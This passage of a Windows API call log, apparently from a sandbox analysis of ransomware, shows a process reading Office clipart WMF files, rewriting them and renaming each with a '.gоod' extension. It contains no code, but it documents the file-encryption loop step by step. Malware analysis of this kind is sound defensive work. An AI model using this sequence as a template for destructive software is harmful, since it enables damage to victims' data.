Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.gоod")) returned 1 [0241.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", lpFilePart=0x0) returned 0x44 [0241.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0241.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3960c60 | out: lpFileInformation=0x3960c60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870)) returned 1 [0241.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0241.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", lpFilePart=0x0) returned 0x44 [0241.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.481] GetFileType (hFile=0x768) returned 0x1 [0241.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.481] GetFileType (hFile=0x768) returned 0x1 [0241.481] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0241.482] ReadFile (in: hFile=0x768, lpBuffer=0x3961078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3961078*, lpNumberOfBytesRead=0x1faedd28*=0x870, lpOverlapped=0x0) returned 1 [0241.483] CloseHandle (hObject=0x768) returned 1 [0241.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", lpFilePart=0x0) returned 0x44 [0241.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.483] GetFileType (hFile=0x768) returned 0x1 [0241.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.483] GetFileType (hFile=0x768) returned 0x1 [0241.483] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1870 [0241.483] WriteFile (in: hFile=0x768, lpBuffer=0x3962310*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3962310*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0241.483] CloseHandle (hObject=0x768) returned 1 [0241.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", lpFilePart=0x0) returned 0x44 [0241.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.484] GetFileType (hFile=0x768) returned 0x1 [0241.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.484] GetFileType (hFile=0x768) returned 0x1 [0241.484] ReadFile (in: hFile=0x768, lpBuffer=0x39645d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x39645d0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0241.992] CloseHandle (hObject=0x768) returned 1 [0241.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", lpFilePart=0x0) returned 0x44 [0241.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.993] GetFileType (hFile=0x768) returned 0x1 [0241.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.993] GetFileType (hFile=0x768) returned 0x1 [0241.993] WriteFile (in: hFile=0x768, lpBuffer=0x37d4bd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37d4bd8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0241.993] CloseHandle (hObject=0x768) returned 1 [0241.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", lpFilePart=0x0) returned 0x44 [0241.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0241.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0241.993] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8c74c5c0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1880)) returned 1 [0241.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0241.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.gоod")) returned 1 [0241.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", lpFilePart=0x0) returned 0x44 [0241.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0241.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3be60d8 | out: lpFileInformation=0x3be60d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14)) returned 1 [0241.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0241.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", lpFilePart=0x0) returned 0x44 [0241.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.996] GetFileType (hFile=0x768) returned 0x1 [0241.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.996] GetFileType (hFile=0x768) returned 0x1 [0241.996] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0241.996] ReadFile (in: hFile=0x768, lpBuffer=0x3be64f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3be64f0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0242.094] CloseHandle (hObject=0x768) returned 1 [0242.704] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", lpFilePart=0x0) returned 0x44 [0242.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0242.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.704] GetFileType (hFile=0x630) returned 0x1 [0242.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0242.705] GetFileType (hFile=0x630) returned 0x1 [0242.705] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x4c14 [0242.705] WriteFile (in: hFile=0x630, lpBuffer=0x3a493a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3a493a0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0242.759] CloseHandle (hObject=0x630) returned 1 [0242.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", lpFilePart=0x0) returned 0x44 [0242.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0242.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.759] GetFileType (hFile=0x630) returned 0x1 [0242.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0242.760] GetFileType (hFile=0x630) returned 0x1 [0242.760] ReadFile (in: hFile=0x630, lpBuffer=0x386d6c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x386d6c8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0242.800] CloseHandle (hObject=0x630) returned 1 [0242.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", lpFilePart=0x0) returned 0x44 [0242.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0242.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.801] GetFileType (hFile=0x630) returned 0x1 [0242.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0242.801] GetFileType (hFile=0x630) returned 0x1 [0242.801] WriteFile (in: hFile=0x630, lpBuffer=0x386c420*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x386c420*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0242.801] CloseHandle (hObject=0x630) returned 1 [0242.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", lpFilePart=0x0) returned 0x44 [0242.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0242.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0242.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8cee600a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c24)) returned 1 [0242.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0242.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.gоod")) returned 1 [0242.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", lpFilePart=0x0) returned 0x44 [0242.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0242.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38ebe78 | out: lpFileInformation=0x38ebe78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8)) returned 1 [0242.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0242.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", lpFilePart=0x0) returned 0x44 [0242.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0242.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.803] GetFileType (hFile=0x630) returned 0x1 [0242.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0242.804] GetFileType (hFile=0x630) returned 0x1 [0242.804] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xeb8 [0242.804] ReadFile (in: hFile=0x630, lpBuffer=0x38ecfd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x38ecfd8*, lpNumberOfBytesRead=0x1faedc88*=0xeb8, lpOverlapped=0x0) returned 1 [0243.280] CloseHandle (hObject=0x630) returned 1 [0244.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", lpFilePart=0x0) returned 0x44 [0244.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0244.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.462] GetFileType (hFile=0x630) returned 0x1 [0244.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0244.462] GetFileType (hFile=0x630) returned 0x1 [0244.462] WriteFile (in: hFile=0x630, lpBuffer=0x391e3c8*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x391e3c8*, lpNumberOfBytesWritten=0x1faedb98*=0xec0, lpOverlapped=0x0) returned 1 [0244.462] CloseHandle (hObject=0x630) returned 1 [0244.462] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", lpFilePart=0x0) returned 0x44 [0244.462] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0244.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0244.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8dec522e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xec0)) returned 1 [0244.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0244.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.gоod")) returned 1 [0244.464] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", lpFilePart=0x0) returned 0x40 [0244.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0244.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), fInfoLevelId=0x0, lpFileInformation=0x391f658 | out: lpFileInformation=0x391f658*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16)) returned 1 [0244.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0244.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", lpFilePart=0x0) returned 0x40 [0244.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0244.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.465] GetFileType (hFile=0x630) returned 0x1 [0244.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0244.465] GetFileType (hFile=0x630) returned 0x1 [0244.465] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xd16 [0244.465] ReadFile (in: hFile=0x630, lpBuffer=0x3920648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3920648*, lpNumberOfBytesRead=0x1faedc88*=0xd16, lpOverlapped=0x0) returned 1 [0244.466] CloseHandle (hObject=0x630) returned 1 [0244.881] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", lpFilePart=0x0) returned 0x40 [0244.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0244.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0244.882] GetFileType (hFile=0x768) returned 0x1 [0244.882] SetThreadErrorMode 